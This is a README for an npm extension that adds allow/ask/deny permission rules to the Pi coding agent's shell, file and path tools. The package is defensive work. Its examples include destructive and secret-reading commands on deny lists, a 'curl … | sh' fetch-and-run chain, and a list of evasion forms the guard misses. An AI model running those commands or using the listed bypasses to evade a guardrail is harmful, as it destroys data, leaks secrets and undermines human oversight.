@pi-kit/permissions

An allow / ask / deny guardrail for the Pi coding agent's built-in tools. No third-party runtime dependencies, no build step, small enough to read before you install it. It guards against agent mistakes; it is not a sandbox (see Limitations).

Install

pi install npm:@pi-kit/permissions

Restart Pi. With no configuration, the defaults apply.

What it does

Every tool call resolves to one outcome:

• allow — the call runs.
• ask — you choose Allow once, Allow for this session, Allow commands starting with "…" for this session (shell commands only), Deny, or Deny with message…, which asks for a note and passes it to the model with the block reason (an empty note is a plain Deny). With no UI (pi -p), ask becomes headlessAsk, which defaults to deny.
• deny — the call is blocked and the model is told which rule fired.

Rules match on four dimensions:

Configuration

JSON, one file per scope. Every key is optional.

Defaults

{
  "defaultMode": "allow",
  "headlessAsk": "deny",
  "outsideCwd": "ask",
  "tools": {},
  "bash": {
    "deny": ["rm -rf *", "git push --force*", "git reset --hard*"],
    "ask": ["npm publish*", "git push*"],
    "allow": []
  },
  "paths": {
    "appliesTo": ["write", "edit"],
    "deny": [".env", ".env.local", ".env.*.local", "**/.env", "**/.env.local"],
    "ask": [
      ".github/**",
      ".git/**",
      ".pi/**",
      ".husky/**",
      ".vscode/**",
      ".npmrc",
      "~/.bashrc",
      "~/.bash_profile",
      "~/.bash_login",
      "~/.profile",
      "~/.zshenv",
      "~/.zshrc",
      "~/.zprofile",
      "~/.zlogin",
      "~/.gitconfig",
      "~/.config/git/config",
      "~/.npmrc"
    ],
    "allow": []
  }
}

Under the defaults, read /etc/hosts is allowed (read is not in appliesTo), write /etc/hosts asks, and write .env.example is allowed (the deny patterns are deliberately narrow). Writes under .git/ (hooks run as code) and .pi/ (project extensions and this package's own project config) ask. Writes under .husky/ and .vscode/, to .npmrc, and to shell, git and npm config in your home folder also ask, including through shell redirects and tee.

Keys

Combining scopes

Defaults, then global, then the trusted project file.

• Rule lists add up. No scope can remove an inherited rule.
• The global file overwrites scalars. defaultMode, headlessAsk, outsideCwd, and paths.appliesTo take the global value when it sets them.
• A project can only tighten. Its scalars apply only when stricter than the inherited value (deny > ask > allow), and its paths.appliesTo adds tools rather than replacing the list. A looser value is ignored and named in the footer banner. Its allow rules still apply.
• To relax a global rule, edit the global file.

A file that fails to parse or validate contributes no rules, is named in a footer banner, and forces defaultMode: ask and headlessAsk: deny for the session. Fix it and start a new session.

Precedence

1. Within a dimension, lists are checked deny → ask → allow; the first match wins. Specificity is ignored: deny: ["git *"] beats allow: ["git status"].
2. Across dimensions, the most restrictive result wins: deny > ask > allow. No match anywhere yields defaultMode.
3. Compound commands (split on unquoted &&, ||, ;, |, &, newline): deny and ask also match each piece; allow matches only the whole command. A piece can make the outcome stricter, never looser. Deny and ask also match each piece after collapsing whitespace and stripping leading VAR= assignments and the wrappers timeout, time, nice, nohup, stdbuf, command, builtin, noglob, env, sudo, doas. allow does not: allow: ["npm test"] does not cover timeout 30 npm test. Flag values after a wrapper are not skipped, so sudo -u root rm -rf x is not caught. For rm, deny and ask also match a normalized form: short flags in any cluster or order and the long forms --recursive and --force (-fr, -Rf, -r -f, --recursive --force) read as rm -rf. Abbreviated long options such as --recur are not recognised.
4. Shell path targets: redirect targets and the file arguments of cat, head, tail, sed and tee are checked against paths.deny and paths.ask as the tool they imitate (> and tee = write, sed -i = edit, the rest = read), and only when that tool is in appliesTo. These checks can only make the outcome stricter. Path allow and outsideCwd do not apply to them.

These rows are executed by test/decide.test.ts.

Session approvals

Allow for this session remembers the exact request (tool, command, paths as written). For bash and powershell, Allow commands starting with "…" remembers a prefix instead: the command name plus a subcommand-like second word, so git push origin main offers git push. A prefix covers that prefix followed by any arguments, but only when the command contains none of ; & | < > $ ` ( ) { } \, a newline or a carriage return; anything else prompts as usual.

Approvals are saved in the Pi session file and restored on reload and resume of that session, in the same directory; deleting the session deletes them. Allow once and Deny are not saved. If saving fails, the approval still applies, with a warning. Approvals are consulted only after the rules return ask, so they never override a deny.

Status command

/permissions shows the settings in force, then each configuration layer (built-in defaults, the global file, the project file) with its own rules and the file's path and status: loaded, not found, invalid (ignored) or untrusted (not read). It also lists the requests allowed for this session and any config problems. It reflects the configuration loaded at session start, appears in the chat, and is not sent to the model.

Recipes

Gate reads too:

{ "paths": { "appliesTo": ["read", "write", "edit", "ls", "grep", "find"] } }

Protect secrets outside the repo:

{ "paths": { "appliesTo": ["read", "write", "edit"], "deny": ["~/.ssh/**", "~/.aws/**"] } }

Ask before git and network operations:

{ "bash": { "ask": ["git push*", "git rebase*", "curl *", "wget *", "npm install*"] } }

Ask by default, allowing only these exact commands:

{
  "defaultMode": "ask",
  "bash": { "allow": ["ls", "git status", "git diff", "git log", "pnpm test"] }
}

Prefer complete commands in allow. A trailing * also matches chained commands: ls* allows ls && curl https://example.com/script | sh unless a deny or ask rule matches.

Limitations

This is a guardrail against agent mistakes, not a security boundary. For enforcement, run Pi in a container or an OS sandbox.

• Not caught: forms whose only purpose is evasion — bash -c, eval, $(...), backticks, $VAR, /bin/rm, xargs, find -exec.
• Not parsed: text inside subshells; $HOME in paths; a relative path after cd (it still resolves against cwd); cp/mv destinations; heredoc bodies, which are scanned like commands and can over-match; symlinks.
• RPC clients receive ask as an extension UI request and must answer it; an unanswered request leaves the tool call waiting (cancel = deny).

Supported versions

Node 22.19 or newer. Pi: no minimum version; recent Pi releases are tested weekly — latest results.

Dependencies

None at runtime. @earendil-works/pi-coding-agent and typebox are optional peers that Pi supplies; scanner alerts on them belong to the Pi host.

Licence

MIT